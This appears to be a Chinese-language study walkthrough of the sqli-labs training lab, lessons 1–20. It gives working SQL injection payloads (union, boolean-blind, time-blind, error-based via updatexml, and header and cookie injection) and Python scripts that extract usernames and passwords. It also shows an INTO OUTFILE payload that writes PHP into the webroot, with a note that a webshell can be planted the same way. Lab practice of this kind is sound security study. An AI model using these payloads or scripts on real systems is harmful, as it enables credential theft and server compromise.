Less-1
1.测试闭合方式,只有单引号闭合会报错,为单引号闭合
2.查询列数,当order by 4时报错,共3列
?id=2' order by 3 --+
3.查询3个字段的输出位置,可知name对应2,password对应3
?id=-1' union select 1,2,3 --+
4.查询当前数据库名,为security
?id=-1' union select 1,database(),3 --+
5.查询security数据库内所有表名,有emails,referers,uagents,users
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
information_schema是MySQL内置的一个虚拟数据库,专门用于存储数据库的元数据信息。元数据是描述数据库结构和对象的数据,例如表名、列名、数据类型、索引、权限等。
6.获取users表中的敏感信息。查询users表中所有字段名(默认查询的是当前连接数据库),有id,username,password
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
7.查询字段username和password
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-2
1.测试闭合方式,单双引号都报错,为数字型
2.只需在Less-1的基础上去掉单引号即可实现同样的注入。查询到username和password
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
Less-3
1.测试闭合方式,只有单引号闭合会报错,根据报错信息可知,为单引号+括号闭合
2.只需在Less-1的基础上在单引号后添加括号即可实现同样的注入。查询到username和password
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
Less-4
1.测试闭合方式,双引号闭合报错,根据报错信息可知,为双引号+括号闭合
2.只需在Less-3的基础上将单引号改为双引号即可实现同样的注入。查询到username和password
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
Less-5
正常查询?id=1返回You are in……….. ,查询?id=0则无回显。根据只有查询到内容才有回显的特性,考虑使用布尔盲注
1.测试闭合方式,单引号闭合
2.写python脚本实现布尔盲注:
import requests
import string
def databaseQuery(chars,injectionPoint,method,responseJudge,url):
database = ""
for i in range(1,11): # 假设数据库名不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"substr(database(),{i},1)='{c}' -- "
params = {injectionPoint: payload}
r = requests.get(url, params=params)
if responseJudge in r.text:
'''
print(r.text) # 测试payload时使用
print(f"Found char: {c} at position {i}")
break
'''
database += c
break
if database != "":
print(f"Found Database ==> {database}")
else:
print("database searching error")
def tableQuery(chars,injectionPoint,method,responseJudge,url):
tables = []
tableName = ""
for j in range(0,5): # 假设连接数据库中不超过5个表
for i in range(1,11): # 假设表名不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i},1)='{c}' -- "
params = {injectionPoint: payload}
r = requests.get(url, params=params)
if responseJudge in r.text:
'''
print(r.text) # 测试payload时使用
print(f"Found char: {c} at position {i}")
break
'''
tableName += c
break
tables.append(tableName)
tableName = ""
if tables != None:
print(f"Found Tables ==> {tables}")
else:
print("table searching error")
def columnQuery(chars,injectionPoint,method,tableName,responseJudge,url):
columns = []
columnName = ""
for j in range(0,6): # 假设选定的表中不超过6个字段
for i in range(1,11): # 假设字段名不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"substr((select column_name from information_schema.columns where table_name='{tableName}' limit {j},1),{i},1)='{c}' -- "
params = {injectionPoint: payload}
r = requests.get(url, params=params)
if responseJudge in r.text:
'''
print(r.text) # 测试payload时使用
print(f"Found char: {c} at position {i}")
break
'''
columnName += c
break
columns.append(columnName)
columnName = ""
if columns != None:
print(f"Found columns ==> {columns}")
else:
print("column searching error")
def dataQuery(chars,injectionPoint,method,columnName,tableName,responseJudge,url):
datas = []
data = ""
for j in range(0,10): # 假设选定的字段中不超过10个数据
for i in range(1,11): # 假设数据内容不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"substr((select {columnName} from {tableName} limit {j},1),{i},1)='{c}' -- "
params = {injectionPoint: payload}
r = requests.get(url, params=params)
if responseJudge in r.text:
'''
print(r.text) # 测试payload时使用
print(f"Found char: {c} at position {i}")
break
'''
data += c
break
datas.append(data)
data = ""
if datas != None:
print(f"Found {columnName} ==> {datas}")
else:
print("data searching error")
if __name__ == "__main__":
chars = string.ascii_lowercase + string.ascii_uppercase # + string.digits + "_"
url = "http://sqlilabs:8989/Less-5/"
injectionPoint = "id" # 注入点
method = "\'" # 单引号,双引号,括号,数字型
responseJudge = "You are in..........." # 根据响应包,判断布尔盲注是否成功
#databaseQuery(chars,injectionPoint,method,responseJudge,url)
#tableQuery(chars,injectionPoint,method,responseJudge,url)
tableName = "users" # 待查询的表
#columnQuery(chars,injectionPoint,method,tableName,responseJudge,url)
columnNames = ["username","password"]
for columnName in columnNames:
dataQuery(chars,injectionPoint,method,columnName,tableName,responseJudge,url)
Less-6
布尔盲注
1.双引号闭合
2.跑盲注脚本
Less-7
难点在于获取闭合方式,写个fuzz闭合方式的脚本:
import requests
def detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url, responseJudge):
closureMethod = ""
quote = chars[0]
parentheses = ""
errorExistsNum = 0
for i in range(0,closureMethodLength): # 闭合方式字符长度限制
'''
test = "1') -- "
params = {injectionPoint: test}
r = requests.get(url, params)
print(r.text)
break
'''
payload = f"{param}{quote}{parentheses}" + " -- "
params = {injectionPoint: payload}
r = requests.get(url, params)
if responseJudge in r.text:
parentheses = parentheses + chars[1]
errorExistsNum += 1
else:
closureMethod = quote + parentheses
parentheses = parentheses + chars[1]
return errorExistsNum, closureMethod
if __name__ == "__main__":
charsList = ["\')","\")"]
closureMethodLength = 4
param = 1
injectionPoint = "id"
url = "http://sqlilabs:8989/Less-7/"
responseJudge = "error"
closureMethod = ""
for chars in charsList:
errorExistsNum, cM = detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url, responseJudge)
if errorExistsNum >= 1 and errorExistsNum < closureMethodLength:
closureMethod = cM
if closureMethod == "":
print("Closure Method ==> Numeric Closure")
else:
print(f"Closure Method ==> {closureMethod}")
运行结果:
Closure Method ==> '))
能区分查询是否成功的页面基本都可以使用布尔盲注,本题hint所使用的方法outfile则是通过SQL语句向网站写入文件:
/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+
同理,可以直接写入一句话木马拿shell
Less-8
单引号闭合+布尔盲注
Less-9
无论是否查询到数据,是否有语法错误,都只返回一个页面,考虑时间盲注。
import requests
import string
import time
def detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url):
closureMethod = ""
quote = chars[0]
parentheses = ""
errorExistsNum = 0
for i in range(0,closureMethodLength): # 闭合方式字符长度限制
'''
test = "1') -- "
params = {injectionPoint: test}
r = requests.get(url, params)
print(r.text)
break
'''
payload = f"{param}{quote}{parentheses}" + " and sleep(2) -- "
params = {injectionPoint: payload}
start = time.time()
requests.get(url, params)
duration = time.time() - start # 获取延时时长
if duration < 2: # 考虑到网络延迟,应该大于2
parentheses = parentheses + chars[1]
errorExistsNum += 1
else:
closureMethod = quote + parentheses
parentheses = parentheses + chars[1]
return errorExistsNum, closureMethod
def closureMethodFuzz(charsList):
closureMethod = ""
for chars in charsList:
errorExistsNum, cM = detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url)
if errorExistsNum >= 1 and errorExistsNum < closureMethodLength:
closureMethod = cM
if closureMethod == "":
print("Closure Method ==> Numeric Closure")
else:
print(f"Closure Method ==> {closureMethod}")
def timeDatabaseQuery(chars,injectionPoint,method,url):
database = ""
for i in range(1,11): # 假设数据库名不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"if(substr(database(),{i},1)='{c}', sleep(2), 0) -- "
params = {injectionPoint: payload}
start = time.time()
requests.get(url, params)
duration = time.time() - start # 获取延时时长
if duration > 2: # 考虑到网络延迟,应该大于2
database += c
break
if database != "":
print(f"Found Database ==> {database}")
else:
print("database searching error")
def timeTableQuery(chars,injectionPoint,method,url):
tables = []
tableName = ""
for j in range(0,5): # 假设连接数据库中不超过5个表
for i in range(1,11): # 假设表名不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"if(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i},1)='{c}', sleep(2), 0) -- "
params = {injectionPoint: payload}
start = time.time()
requests.get(url, params)
duration = time.time() - start
if duration > 2:
tableName += c
break
tables.append(tableName)
tableName = ""
if tables != None:
print(f"Found Tables ==> {tables}")
else:
print("table searching error")
def timeColumnQuery(chars,injectionPoint,method,tableName,url):
columns = []
columnName = ""
for j in range(0,6): # 假设选定的表中不超过6个字段
for i in range(1,11): # 假设字段名不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"if(substr((select column_name from information_schema.columns where table_name='{tableName}' limit {j},1),{i},1)='{c}', sleep(2), 0) -- "
params = {injectionPoint: payload}
start = time.time()
requests.get(url, params)
duration = time.time() - start
if duration > 2:
columnName += c
break
columns.append(columnName)
columnName = ""
if columns != None:
print(f"Found columns ==> {columns}")
else:
print("column searching error")
def timeDataQuery(chars,injectionPoint,method,columnName,tableName,url):
datas = []
data = ""
for j in range(0,10): # 假设选定的字段中不超过10个数据
for i in range(1,11): # 假设数据内容不超过10个字符
for c in chars:
payload = f"1{method}" + " and " + f"if(substr((select {columnName} from {tableName} limit {j},1),{i},1)='{c}', sleep(2), 0) -- "
params = {injectionPoint: payload}
start = time.time()
requests.get(url, params)
duration = time.time() - start
if duration > 2:
data += c
break
datas.append(data)
data = ""
if datas != None:
print(f"Found {columnName} ==> {datas}")
else:
print("data searching error")
if __name__ == "__main__":
charsList = ["\')","\")"]
closureMethodLength = 4
param = 1
injectionPoint = "id" # 注入点
url = "http://sqlilabs:8989/Less-9/"
# closureMethodFuzz(charsList)
chars = string.ascii_lowercase + string.ascii_uppercase # + string.digits + "_"
method = "\'" # 单引号,双引号,括号,数字型
# timeDatabaseQuery(chars, injectionPoint, method, url)
# timeTableQuery(chars, injectionPoint, method, url)
tableName = "users"
# timeColumnQuery(chars,injectionPoint,method,tableName,url)
columnNames = ["username","password"]
for columnName in columnNames:
timeDataQuery(chars,injectionPoint,method,columnName,tableName,url)
Less-10
双引号闭合+时间盲注
Less-11 ~ Less-16
测试闭合方式,只实现登录可以使用万能密码解决,本质还是注释限制条件:
uname=admin' -- &passwd=123
uname=qwer114514&passwd=123' or 1 --
传参方式改成了POST,都可以用时间盲注实现数据的查询
Less17
页面为一个修改密码的服务,已知存在username:admin,在username框进行注入总是会弹Bug off,考虑是对username进行了check并处理了恶意的注入语句,结合修改密码可能会用到UPDATE,本题注入点选择password
既然是UPDATE,那就应该没有回显,无法通过正常方式查询数据,考虑使用报错注入:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --
XPATH syntax error: '~security~'
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --
XPATH syntax error: '~emails,referers,uagents,users'
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) --
XPATH syntax error: '~id,username,password~'
UPDATE中不能同时SELECT同一张表,可以创建临时表绕过。updatexml最多输出32字节错误信息,可以用substr:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),1,30) from (select * from users) as temp),0x7e),1) --
XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stu~'
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),31,30) from (select * from users) as temp),0x7e),1) --
XPATH syntax error: '~pid,superman,batman,admin,admi~'
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),61,30) from (select * from users) as temp),0x7e),1) --
XPATH syntax error: '~n1,admin2,admin3,dhakkan,admin~'
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),91,30) from (select * from users) as temp),0x7e),1) --
XPATH syntax error: '~4~'
password同理
Less-18
无论如何尝试注入,都无法回显其他页面,尝试先用admin账号登陆,发现回显UA头,考虑登陆成功后的UA注入
与常规的注入无异,出现该问题的原因是该网站将用户UA头用INSERT INTO写入数据库
根据报错信息,判断写了三个数据到数据库中:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1
考虑UA头用报错注入:
User-Agent: 1',updatexml(1,concat(0x7e,database(),0x7e),1),'3'#
...
User-Agent: 1',updatexml(1,concat(0x7e,(select substr(group_concat(username),1,30) from (select * from users) as temp),0x7e),1),'3'#
...
Less-19
Referer头注入,和UA头注入没什么区别:
Referer: 1',updatexml(1,concat(0x7e,database(),0x7e),1)#
...
Referer: 1',updatexml(1,concat(0x7e,(select substr(group_concat(username),1,30) from (select * from users) as temp),0x7e),1)#
...
Less-20
cookie是存储于客户端的,猜测服务器只用SELECT获取cookie的内容,cookie位置联合注入、报错注入等都行
本题用sqlmap跑一下:
python sqlmap.py -u http://sqlilabs:8989/Less-20/index.php --level=2 --dbms=MySQL --cookie="uname=admin*"
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: uname=admin' AND 4655=4655 AND 'JNaz'='JNaz
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: uname=admin' AND GTID_SUBSET(CONCAT(0x716b707171,(SELECT (ELT(4852=4852,1))),0x7171717a71),4852) AND 'McXM'='McXM
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin' AND (SELECT 1701 FROM (SELECT(SLEEP(5)))leNW) AND 'edxV'='edxV
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: uname=-2237' UNION ALL SELECT NULL,CONCAT(0x716b707171,0x53445a58764b447852436749794867527a496a4a6f416d496c556d717766747855524f7171797165,0x7171717a71),NULL-- -
---